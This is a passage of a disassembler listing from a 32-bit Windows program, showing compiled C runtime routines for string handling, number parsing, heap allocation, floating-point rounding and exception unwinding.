add edx, ebx
pop ebx
retn 10h
sub_4123A0 endp
; =============== S U B R O U T I N E =======================================
sub_4123D4 proc near ; CODE XREF: sub_41245F+4p
; sub_41AA32+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_4123DC: ; CODE XREF: sub_4123D4+34j
cmp dword_4316BC, 1
jle short loc_4123F4
movzx eax, byte ptr [edi]
push 8
push eax
call sub_414E26
pop ecx
pop ecx
jmp short loc_412403
; ---------------------------------------------------------------------------
loc_4123F4: ; CODE XREF: sub_4123D4+Fj
movzx eax, byte ptr [edi]
mov ecx, off_4314B0
mov al, [ecx+eax*2]
and eax, 8
loc_412403: ; CODE XREF: sub_4123D4+1Ej
test eax, eax
jz short loc_41240A
inc edi
jmp short loc_4123DC
; ---------------------------------------------------------------------------
loc_41240A: ; CODE XREF: sub_4123D4+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41241A
cmp esi, 2Bh
jnz short loc_41241E
loc_41241A: ; CODE XREF: sub_4123D4+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41241E: ; CODE XREF: sub_4123D4+44j
xor ebx, ebx
loc_412420: ; CODE XREF: sub_4123D4+7Bj
cmp dword_4316BC, 1
jle short loc_412435
push 4
push esi
call sub_414E26
pop ecx
pop ecx
jmp short loc_412440
; ---------------------------------------------------------------------------
loc_412435: ; CODE XREF: sub_4123D4+53j
mov eax, off_4314B0
mov al, [eax+esi*2]
and eax, 4
loc_412440: ; CODE XREF: sub_4123D4+5Fj
test eax, eax
jz short loc_412451
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_412420
; ---------------------------------------------------------------------------
loc_412451: ; CODE XREF: sub_4123D4+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41245A
neg eax
loc_41245A: ; CODE XREF: sub_4123D4+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4123D4 endp
; =============== S U B R O U T I N E =======================================
sub_41245F proc near ; CODE XREF: sub_4013E9+12p
; sub_4013E9+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4123D4
pop ecx
retn
sub_41245F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41246A proc near ; CODE XREF: sub_40211A+B9p
; .nsp0:00402792p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41461C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_4124A9
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_4124B6
; ---------------------------------------------------------------------------
loc_4124A9: ; CODE XREF: sub_41246A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_414507
pop ecx
pop ecx
loc_4124B6: ; CODE XREF: sub_41246A+3Dj
mov eax, esi
pop esi
leave
retn
sub_41246A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4124C0 proc near ; CODE XREF: .nsp0:00402717p
; .nsp0:00402735p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41253A
mov dh, [ecx+1]
test dh, dh
jz short loc_412527
loc_4124D8: ; CODE XREF: sub_4124C0+52j
; sub_4124C0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_4124FA
test al, al
jz short loc_4124F4
loc_4124E9: ; CODE XREF: sub_4124C0+32j
mov al, [esi]
inc esi
loc_4124EC: ; CODE XREF: sub_4124C0+3Fj
cmp al, dl
jz short loc_4124FA
test al, al
jnz short loc_4124E9
loc_4124F4: ; CODE XREF: sub_4124C0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4124FA: ; CODE XREF: sub_4124C0+23j
; sub_4124C0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_4124EC
lea edi, [esi-1]
loc_412504: ; CODE XREF: sub_4124C0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_412533
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_4124D8
mov al, [ecx+3]
test al, al
jz short loc_412533
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_412504
jmp short loc_4124D8
; ---------------------------------------------------------------------------
loc_412527: ; CODE XREF: sub_4124C0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_414146
; ---------------------------------------------------------------------------
loc_412533: ; CODE XREF: sub_4124C0+49j
; sub_4124C0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41253A: ; CODE XREF: sub_4124C0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_4124C0 endp
; =============== S U B R O U T I N E =======================================
sub_412540 proc near ; CODE XREF: sub_40211A+94p
; sub_4040DB+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_412555
or eax, 0FFFFFFFFh
jmp short loc_41258F
; ---------------------------------------------------------------------------
loc_412555: ; CODE XREF: sub_412540+Ej
test al, 83h
jz short loc_41258D
push esi
call sub_414FB4
push esi
mov edi, eax
call sub_414F4E
push dword ptr [esi+10h]
call sub_414E9B
add esp, 0Ch
test eax, eax
jge short loc_41257B
or edi, 0FFFFFFFFh
jmp short loc_41258D
; ---------------------------------------------------------------------------
loc_41257B: ; CODE XREF: sub_412540+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41258D
push eax
call sub_412813
and dword ptr [esi+1Ch], 0
pop ecx
loc_41258D: ; CODE XREF: sub_412540+17j
; sub_412540+39j ...
mov eax, edi
loc_41258F: ; CODE XREF: sub_412540+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_412540 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412596 proc near ; CODE XREF: sub_40211A+8Ep
; .nsp0:0040C923p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_415086
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41461C
push [ebp+arg_0]
mov edi, eax
push esi
call sub_415113
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_412596 endp
; =============== S U B R O U T I N E =======================================
sub_4125C8 proc near ; CODE XREF: sub_4125E8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_4152C0
test eax, eax
jnz short loc_4125D2
retn
; ---------------------------------------------------------------------------
loc_4125D2: ; CODE XREF: sub_4125C8+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_415150
add esp, 10h
retn
sub_4125C8 endp
; =============== S U B R O U T I N E =======================================
sub_4125E8 proc near ; CODE XREF: sub_40211A+54p
; sub_4040DB+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4125C8
add esp, 0Ch
retn
sub_4125E8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_412600 proc near ; CODE XREF: sub_404175+2BFp
; sub_40787E+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_412671
sub_412600 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_412610 proc near ; CODE XREF: sub_40211A+32p
; sub_40211A+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41262C
loc_41261D: ; CODE XREF: sub_412610+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41265F
test ecx, 3
jnz short loc_41261D
loc_41262C: ; CODE XREF: sub_412610+Bj
; sub_412610+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41262C
mov eax, [ecx-4]
test al, al
jz short loc_41266E
test ah, ah
jz short loc_412669
test eax, 0FF0000h
jz short loc_412664
test eax, 0FF000000h
jz short loc_41265F
jmp short loc_41262C
; ---------------------------------------------------------------------------
loc_41265F: ; CODE XREF: sub_412610+12j
; sub_412610+4Bj
lea edi, [ecx-1]
jmp short loc_412671
; ---------------------------------------------------------------------------
loc_412664: ; CODE XREF: sub_412610+44j
lea edi, [ecx-2]
jmp short loc_412671
; ---------------------------------------------------------------------------
loc_412669: ; CODE XREF: sub_412610+3Dj
lea edi, [ecx-3]
jmp short loc_412671
; ---------------------------------------------------------------------------
loc_41266E: ; CODE XREF: sub_412610+39j
lea edi, [ecx-4]
loc_412671: ; CODE XREF: sub_412600+5j
; sub_412610+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_412696
loc_41267D: ; CODE XREF: sub_412610+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_4126E8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41267D
jmp short loc_412696
; ---------------------------------------------------------------------------
loc_412691: ; CODE XREF: sub_412610+9Ej
; sub_412610+B8j
mov [edi], edx
add edi, 4
loc_412696: ; CODE XREF: sub_412610+6Bj
; sub_412610+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_412691
test dl, dl
jz short loc_4126E8
test dh, dh
jz short loc_4126DF
test edx, 0FF0000h
jz short loc_4126D2
test edx, 0FF000000h
jz short loc_4126CA
jmp short loc_412691
; ---------------------------------------------------------------------------
loc_4126CA: ; CODE XREF: sub_412610+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4126D2: ; CODE XREF: sub_412610+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_4126DF: ; CODE XREF: sub_412610+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4126E8: ; CODE XREF: sub_412610+72j
; sub_412610+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_412610 endp
; =============== S U B R O U T I N E =======================================
sub_4126F0 proc near ; CODE XREF: sub_4021FB+1A7p
; sub_4021FB:loc_4023B5p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_412710
loc_4126FC: ; CODE XREF: sub_4126F0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_412743
test ecx, 3
jnz short loc_4126FC
add eax, 0
loc_412710: ; CODE XREF: sub_4126F0+Aj
; sub_4126F0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_412710
mov eax, [ecx-4]
test al, al
jz short loc_412761
test ah, ah
jz short loc_412757
test eax, 0FF0000h
jz short loc_41274D
test eax, 0FF000000h
jz short loc_412743
jmp short loc_412710
; ---------------------------------------------------------------------------
loc_412743: ; CODE XREF: sub_4126F0+11j
; sub_4126F0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41274D: ; CODE XREF: sub_4126F0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_412757: ; CODE XREF: sub_4126F0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_412761: ; CODE XREF: sub_4126F0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_4126F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_412770 proc near ; CODE XREF: .nsp0:004024E4p
; sub_404175+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_412790
loc_41277C: ; CODE XREF: sub_412770+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41277C
loc_412790: ; CODE XREF: sub_412770+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_412770 endp
; =============== S U B R O U T I N E =======================================
sub_41279F proc near ; CODE XREF: sub_402847+Ap
; sub_402881+12p ...
arg_0 = dword ptr 4
push dword_462C24
push [esp+4+arg_0]
call sub_4127B1
pop ecx
pop ecx
retn
sub_41279F endp
; =============== S U B R O U T I N E =======================================
sub_4127B1 proc near ; CODE XREF: sub_41279F+Ap
; sub_413195+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_4127DA
loc_4127B8: ; CODE XREF: sub_4127B1+27j
push [esp+arg_0]
call sub_4127DD
test eax, eax
pop ecx
jnz short locret_4127DC
cmp [esp+arg_4], eax
jz short locret_4127DC
push [esp+arg_0]
call sub_415338
test eax, eax
pop ecx
jnz short loc_4127B8
loc_4127DA: ; CODE XREF: sub_4127B1+5j
xor eax, eax
locret_4127DC: ; CODE XREF: sub_4127B1+13j
; sub_4127B1+19j
retn
sub_4127B1 endp
; =============== S U B R O U T I N E =======================================
sub_4127DD proc near ; CODE XREF: sub_4127B1+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, dword_4316CC
ja short loc_4127F5
push esi
call sub_415723
test eax, eax
pop ecx
jnz short loc_412811
loc_4127F5: ; CODE XREF: sub_4127DD+Bj
test esi, esi
jnz short loc_4127FC
push 1
pop esi
loc_4127FC: ; CODE XREF: sub_4127DD+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_464220
call dword_41D144 ; RtlAllocateHeap
loc_412811: ; CODE XREF: sub_4127DD+16j
pop esi
retn
sub_4127DD endp
; =============== S U B R O U T I N E =======================================
sub_412813 proc near ; CODE XREF: sub_4028D6+Ap
; sub_4028EF+7Bp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_412840
push esi
call sub_4153CD
pop ecx
test eax, eax
push esi
jz short loc_412832
push eax
call sub_4153F8
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_412832: ; CODE XREF: sub_412813+13j
push 0
push dword_464220
call dword_41D148 ; RtlFreeHeap
loc_412840: ; CODE XREF: sub_412813+7j
pop esi
retn
sub_412813 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_412842(double)
sub_412842 proc near ; CODE XREF: sub_403007+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_431470
call sub_4166F6
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_4128C8
call sub_4165BE
pop ecx
test eax, eax
pop ecx
jle short loc_4128AB
cmp eax, 2
jle short loc_41289D
cmp eax, 3
jnz short loc_4128AB
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_415ECE
add esp, 10h
jmp short loc_41290D
; ---------------------------------------------------------------------------
loc_41289D: ; CODE XREF: sub_412842+3Fj
push esi
push ebx
call sub_4166F6
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41290D
; ---------------------------------------------------------------------------
loc_4128AB: ; CODE XREF: sub_412842+3Aj
; sub_412842+44j
fld [ebp+arg_0]
fadd dbl_41D668
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_412905
; ---------------------------------------------------------------------------
loc_4128C8: ; CODE XREF: sub_412842+2Fj
call sub_416583
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_4128EB
loc_4128DD: ; CODE XREF: sub_412842+ACj
push esi
push ebx
call sub_4166F6
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41290D
; ---------------------------------------------------------------------------
loc_4128EB: ; CODE XREF: sub_412842+99j
test bl, 20h
jnz short loc_4128DD
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_412905: ; CODE XREF: sub_412842+84j
call sub_415F21
add esp, 1Ch
loc_41290D: ; CODE XREF: sub_412842+59j
; sub_412842+67j ...
pop esi
pop ebx
leave
retn
sub_412842 endp
; =============== S U B R O U T I N E =======================================
sub_412911 proc near ; CODE XREF: sub_413FAA+9p
; DATA XREF: .nsp0:off_43147Co
call sub_412929
call sub_4167BF
mov dword_462BA4, eax
call sub_41676F
fnclex
retn
sub_412911 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_412929 proc near ; CODE XREF: sub_412911p
mov eax, offset sub_416BAD
mov off_4317EC, offset loc_416842
mov off_4317E8, eax
mov off_4317F0, offset sub_4168A8
mov off_4317F4, offset sub_4167E8
mov off_4317F8, offset loc_416890
mov off_4317FC, eax
retn
sub_412929 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412964 proc near ; CODE XREF: sub_403007+1Bp
; sub_403007+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_412964 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41298B(double)
sub_41298B proc near ; CODE XREF: sub_403053+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_431488
call sub_4166F6
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_412A11
call sub_4165BE
pop ecx
test eax, eax
pop ecx
jle short loc_4129F4
cmp eax, 2
jle short loc_4129E6
cmp eax, 3
jnz short loc_4129F4
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_415ECE
add esp, 10h
jmp short loc_412A56
; ---------------------------------------------------------------------------
loc_4129E6: ; CODE XREF: sub_41298B+3Fj
push esi
push ebx
call sub_4166F6
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_412A56
; ---------------------------------------------------------------------------
loc_4129F4: ; CODE XREF: sub_41298B+3Aj
; sub_41298B+44j
fld [ebp+arg_0]
fadd dbl_41D668
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_412A4E
; ---------------------------------------------------------------------------
loc_412A11: ; CODE XREF: sub_41298B+2Fj
call sub_416583
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_412A34
loc_412A26: ; CODE XREF: sub_41298B+ACj
push esi
push ebx
call sub_4166F6
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_412A56
; ---------------------------------------------------------------------------
loc_412A34: ; CODE XREF: sub_41298B+99j
test bl, 20h
jnz short loc_412A26
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_412A4E: ; CODE XREF: sub_41298B+84j
call sub_415F21
add esp, 1Ch
loc_412A56: ; CODE XREF: sub_41298B+59j
; sub_41298B+67j ...
pop esi
pop ebx
leave
retn
sub_41298B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A5A proc near ; CODE XREF: sub_41701E+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_412A5A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_412A8E proc near ; CODE XREF: sub_4171CF+199p
; sub_417393+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_412A8E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412A95 proc near ; CODE XREF: sub_4171CF+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_412A95 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A9C proc near ; CODE XREF: sub_412C4E+5Cp
; sub_41701E:loc_41704Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_412AC4
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C9DC ; RtlUnwind
loc_412AC4: ; DATA XREF: sub_412A9C+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_412A9C endp
; ---------------------------------------------------------------------------
loc_412AEB: ; CODE XREF: .nsp0:0041CB38j
; .nsp0:0041CB55j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_416C23
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B21 proc near ; CODE XREF: sub_417099+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_412B75
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_417420
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_412B21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B75 proc near ; DATA XREF: sub_412B21+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_416C23
add esp, 20h
pop ebp
retn
sub_412B75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B9A proc near ; CODE XREF: sub_416E65+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_412C4E
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_412C20
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_462C44
pop ecx
pop ecx
and [ebp+var_34], 0
loc_412C20: ; DATA XREF: sub_412B9A+3Co
cmp [ebp+var_4], 0
jz short loc_412C3D
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_412C46
; ---------------------------------------------------------------------------
loc_412C3D: ; CODE XREF: sub_412B9A+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_412C46: ; CODE XREF: sub_412B9A+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_412B9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412C4E proc near ; DATA XREF: sub_412B9A+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_412C71
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_412CBE
; ---------------------------------------------------------------------------
loc_412C71: ; CODE XREF: sub_412C4E+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_416C23
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_412CAF
push [ebp+arg_0]
push [ebp+arg_4]
call sub_412A9C
loc_412CAF: ; CODE XREF: sub_412C4E+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_412CBE: ; CODE XREF: sub_412C4E+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_412C4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412CC3 proc near ; CODE XREF: sub_416CBE+C6p
; sub_416E65+43p
